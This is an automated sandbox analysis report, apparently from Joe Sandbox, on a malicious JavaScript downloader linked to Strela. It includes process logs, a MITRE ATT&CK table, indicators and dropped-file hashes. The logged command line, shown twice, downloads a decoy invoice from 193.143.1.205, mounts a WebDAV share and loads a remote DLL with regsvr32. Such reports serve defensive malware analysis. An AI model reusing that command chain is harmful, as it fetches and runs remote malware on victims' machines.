Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44731151114268.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44731151114268.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	22 Scripting	Valid Accounts	1 Command and Scripting Interpreter	22 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1972921391166218927.js	7%	Virustotal		Browse
1972921391166218927.js	5%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/space$0	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2736217951.0000021210400000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1497592888.00000212101E0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/space$0	net.exe, 00000007.00000002.1509362059.000001D6E6968000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000003.1503234829.000001D6E699C000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589908
Start date and time:	2025-01-13 10:13:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 9s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1972921391166218927.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 34.237.241.83, 50.16.47.176, 54.224.241.105, 18.213.11.84, 184.28.90.27, 23.46.224.249, 199.232.214.172, 2.16.168.107, 2.16.168.105, 2.22.242.11, 2.22.242.123, 3.219.243.226, 4.175.87.197, 23.47.168.24
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
04:14:09	API Interceptor	22x Sleep call for process: powershell.exe modified
04:14:13	API Interceptor	1x Sleep call for process: net.exe modified
04:14:13	API Interceptor	2x Sleep call for process: svchost.exe modified
04:14:21	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	29522576223272839.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1329220172182926612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2816632483050917528.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	29112223682907312977.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	179861427815317256.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16910148382611315301.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	281388015101323984.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	305861283730376077.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	155442583088718889.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	14444181562539231561.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	29522576223272839.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1329220172182926612.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	29112223682907312977.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	179861427815317256.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	16910148382611315301.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	tesr.exe	Get hash	malicious	LummaC Stealer	Browse	199.232.214.172
	https://link.mail.beehiiv.com/ss/c/u001.dSnm3kaGd0BkNqLYPjeMfxWXllAYaBQ5sAn4OVD0j89GQGPZtwQlLugE_8c0wQMKfkpy5_wJ66BvE1Ognfzf5MlQMAeZ1qYs5mgwUBu3TAc6279Q43ISHz-HkVRC08yeDA4QvKWsqLTI1us9a0eXx18qeAibsZhjMMPvES-iG2zoVABKcwKIVWyx95VTVcFMSh6AEN3OCUfP_rXFvjKRbIPMuhn_dqYr8yUBKJvhhlJR9FhTpZPAULxzMbsYWp8k/4cu/JfECY1HwRl-ipvrNOktVcw/h23/h001.ibQl2N4tDD79TTzErix_sFWEGLTTuM6dTVMrTg3y5Dk	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://mrohailkhan.com/energyaustralia/auth/auhs1/	Get hash	malicious	Unknown	Browse	199.232.214.172
	PCB - Lyell Highway Upgrades Queenstown to Strahan - March 2021.XLSM	Get hash	malicious	Unknown	Browse	199.232.210.172
	http://satelite.nv-ec.com/aU3V88/c1.php	Get hash	malicious	Unknown	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	2165116371124411090.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	29522576223272839.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1528915004169812209.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1329220172182926612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2816632483050917528.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	29112223682907312977.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1178918864369817238.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	179861427815317256.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16910148382611315301.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	byte.mips.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8022063150288242
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUA3:RJE+Lfki1GjHwU/+vVhWqpu
MD5:	65EBF46D32113387D2916CC3A9C28899
SHA1:	2885B883B9DB28BDCEC371BEA49F7122987E344B
SHA-256:	0D3D45AF2BAE1CE3DEF7E6D94A82B7C6542F8EDC32EB6B25C2A631DC252DDB77
SHA-512:	8172871255B6D1BD936958122AB2008F65536389B84FC47BE9BBCD544AE2B325BBBE1C4BBE542D5CE57E5CBBAD2AE307B66BA8AEB8DFCD370AEC6493FD730F09
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x88eea61d, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.943303307756603
Encrypted:	false
SSDEEP:	1536:zSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:zazaHvxXy2V2UR
MD5:	7555816BC8CA9C57ACC24B7D2F7D41FF
SHA1:	C460A6DB1273AF138AFD84026922E90456D02C6E
SHA-256:	17F0CF5B301DB63045D811F45AD4D2D0F45FD048C93F3E935871A79FCA89A5DA
SHA-512:	941D8B92BDD24B25325DFC9235BBE4567EC762623C0938AF4D67DB904428135C7C61C00AB365B358DAE4971428E507CABBCCB782BD29E1656A91C2CE25FA9D40
Malicious:	false
Preview:	...... ...............X\...;...{......................0.x...... ...{s......}1.h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{...................................6.V.....}................../........}1..........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08111671414853026
Encrypted:	false
SSDEEP:	3:sHtKYec+xnFSGsl/nqlFcl1ZUllllB2lltallGBnX/l/Tj/k7/t:8tKzzVsl/qlFclQ/lP2Q254
MD5:	540033215F3EB4EEF1C900E0F255B3CB
SHA1:	0619814ACA4876F3D34B2D247B1C867349DE2D8A
SHA-256:	ACA192050F5C46B747E876B7DFF474451431D08A8C6FFCDF3F8BF1FF4CDC2F30
SHA-512:	A5F56268EA2CEB86D7924B7DBCEDF268325FC6367B02E1E96293CF68C9E3CD275A4AA6100DAE80F56D32ACE820E61A461F8E38C146F5B69E4B4C05A332D58A57
Malicious:	false
Preview:	.F.A.....................................;...{.......}1.. ...{s.......... ...{s.. ...{s.P.... ...{s................./........}1.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.1947596045892315
Encrypted:	false
SSDEEP:	6:iOLKq2PCHhJ2nKuAl9OmbnIFUtpZmwovzkwOCHhJ2nKuAl9OmbjLJ:7LKvBHAahFUtp/E56HAaSJ
MD5:	8E842EEB6A0EAC2BD93FA31E033B234B
SHA1:	8C500D0F26BCE705793CF50A15DAE4A05981F9F6
SHA-256:	E85FF208E62A103832D22D5EE7C536691164AA443E6D355CFD4ABB3847D9BB1D
SHA-512:	07A06CE72BEA63FD248320435EB158A6356CBA52AD87C685590C6B417A5A4803E09FE93090E1E73DF586966844DD1AB47786371DFC77D5FE1F5C6E416C3CF1FF
Malicious:	false
Preview:	2025/01/13-04:14:13.203 9d0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/13-04:14:13.207 9d0 Recovering log #3.2025/01/13-04:14:13.208 9d0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.1947596045892315
Encrypted:	false
SSDEEP:	6:iOLKq2PCHhJ2nKuAl9OmbnIFUtpZmwovzkwOCHhJ2nKuAl9OmbjLJ:7LKvBHAahFUtp/E56HAaSJ
MD5:	8E842EEB6A0EAC2BD93FA31E033B234B
SHA1:	8C500D0F26BCE705793CF50A15DAE4A05981F9F6
SHA-256:	E85FF208E62A103832D22D5EE7C536691164AA443E6D355CFD4ABB3847D9BB1D
SHA-512:	07A06CE72BEA63FD248320435EB158A6356CBA52AD87C685590C6B417A5A4803E09FE93090E1E73DF586966844DD1AB47786371DFC77D5FE1F5C6E416C3CF1FF
Malicious:	false
Preview:	2025/01/13-04:14:13.203 9d0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/13-04:14:13.207 9d0 Recovering log #3.2025/01/13-04:14:13.208 9d0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.18677444113515
Encrypted:	false
SSDEEP:	6:iOFpDM+q2PCHhJ2nKuAl9Ombzo2jMGIFUtIgZmwxDMVkwOCHhJ2nKuAl9Ombzo23:7LM+vBHAa8uFUtx/RMV56HAa8RJ
MD5:	B0EC86F6E75A45A0272E3F355FCEA46D
SHA1:	9D1CC529456E4F371D600DB4F857E74D044D970F
SHA-256:	55EB9D5CF797484C27409191177C1BE667322CF4BEC9F3CD9DA55F8A00662B91
SHA-512:	564DD721F87B5AAE56F69AD37A35F3BBA9D78A5C003637407894125007456D0844808A405900763A0FEED4CFC2B2E30AF37B2E31EB8D5E062BB3F51A96D70D35
Malicious:	false
Preview:	2025/01/13-04:14:13.397 efc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/13-04:14:13.398 efc Recovering log #3.2025/01/13-04:14:13.399 efc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.18677444113515
Encrypted:	false
SSDEEP:	6:iOFpDM+q2PCHhJ2nKuAl9Ombzo2jMGIFUtIgZmwxDMVkwOCHhJ2nKuAl9Ombzo23:7LM+vBHAa8uFUtx/RMV56HAa8RJ
MD5:	B0EC86F6E75A45A0272E3F355FCEA46D
SHA1:	9D1CC529456E4F371D600DB4F857E74D044D970F
SHA-256:	55EB9D5CF797484C27409191177C1BE667322CF4BEC9F3CD9DA55F8A00662B91
SHA-512:	564DD721F87B5AAE56F69AD37A35F3BBA9D78A5C003637407894125007456D0844808A405900763A0FEED4CFC2B2E30AF37B2E31EB8D5E062BB3F51A96D70D35
Malicious:	false
Preview:	2025/01/13-04:14:13.397 efc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/13-04:14:13.398 efc Recovering log #3.2025/01/13-04:14:13.399 efc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\20df38bd-b54b-4033-a890-18e272733e1d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.9655162853550765
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqDesBdOg2H12caq3QYiub6P7E4T3y:Y2sRdssDdMHX3QYhbS7nby
MD5:	DD55EDC6AD7A90B8A0CA61311D664C7D
SHA1:	A5C1B0C999C4831EBFC7022B534568D7DB87F479
SHA-256:	3918F32C5307A48D93DF0AC90D8BA18F84B07A798D8C26ED7DFF7B83DA5EE67C
SHA-512:	5176CE78EF52E03BFCE08B945ABCA1F70C4609FAC202C8E937E81103454DC0E47D3B03F1CABDCF98AA95A89C5928CDEFB9C8FEBA908B7EC79EF31B0747466A56
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381319665046882","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":109501},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.964572325322009
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqRYSsBdOg2HEcaq3QYiub6P7E4T3y:Y2sRds9dMHX3QYhbS7nby
MD5:	D25A82831FBAAB53DA0A9FF676399C18
SHA1:	350EFB0B2B56CC8B0F650B34B59C0A705A4B2309
SHA-256:	F20CB8DC5F98FBEB8B0AB91BDABB2A1D09EF0D927241321034284592013693E3
SHA-512:	973F779D5A631FDE2CD2270522EBAF78B50D2CE3130638500641750F4099E7DDBEAA58B73E9696DE4240823AC03E768CF890CBF42932F815324ECDBE1DFE7A61
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341054937965898","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146333},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF61d048.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.964572325322009
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqRYSsBdOg2HEcaq3QYiub6P7E4T3y:Y2sRds9dMHX3QYhbS7nby
MD5:	D25A82831FBAAB53DA0A9FF676399C18
SHA1:	350EFB0B2B56CC8B0F650B34B59C0A705A4B2309
SHA-256:	F20CB8DC5F98FBEB8B0AB91BDABB2A1D09EF0D927241321034284592013693E3
SHA-512:	973F779D5A631FDE2CD2270522EBAF78B50D2CE3130638500641750F4099E7DDBEAA58B73E9696DE4240823AC03E768CF890CBF42932F815324ECDBE1DFE7A61
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341054937965898","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146333},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\b6f8b3f7-c6f1-4dc2-953d-bd4467f92506.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.964572325322009
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqRYSsBdOg2HEcaq3QYiub6P7E4T3y:Y2sRds9dMHX3QYhbS7nby
MD5:	D25A82831FBAAB53DA0A9FF676399C18
SHA1:	350EFB0B2B56CC8B0F650B34B59C0A705A4B2309
SHA-256:	F20CB8DC5F98FBEB8B0AB91BDABB2A1D09EF0D927241321034284592013693E3
SHA-512:	973F779D5A631FDE2CD2270522EBAF78B50D2CE3130638500641750F4099E7DDBEAA58B73E9696DE4240823AC03E768CF890CBF42932F815324ECDBE1DFE7A61
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341054937965898","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146333},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.231404311389198
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bCrbqD:S43C4mS7fFi0KFYDjr3LWO3V3aw+bCrM
MD5:	4166890B4FF6D65AEB508024F63E7353
SHA1:	863D93FE0A2710722969E048D7263D886BFD5174
SHA-256:	C650E80D33CF7DAF471D26DD65D81D6760EFC252DAECEC0301B9123B12D29523
SHA-512:	86FC1112BAAA41C402B56894BECA4DB6BC814169B024AC653DB096154527DD30776B2BEBB579B38D3A4DB934580CC1F5C4EA84390A21D96CE53852C8FB4814B7
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.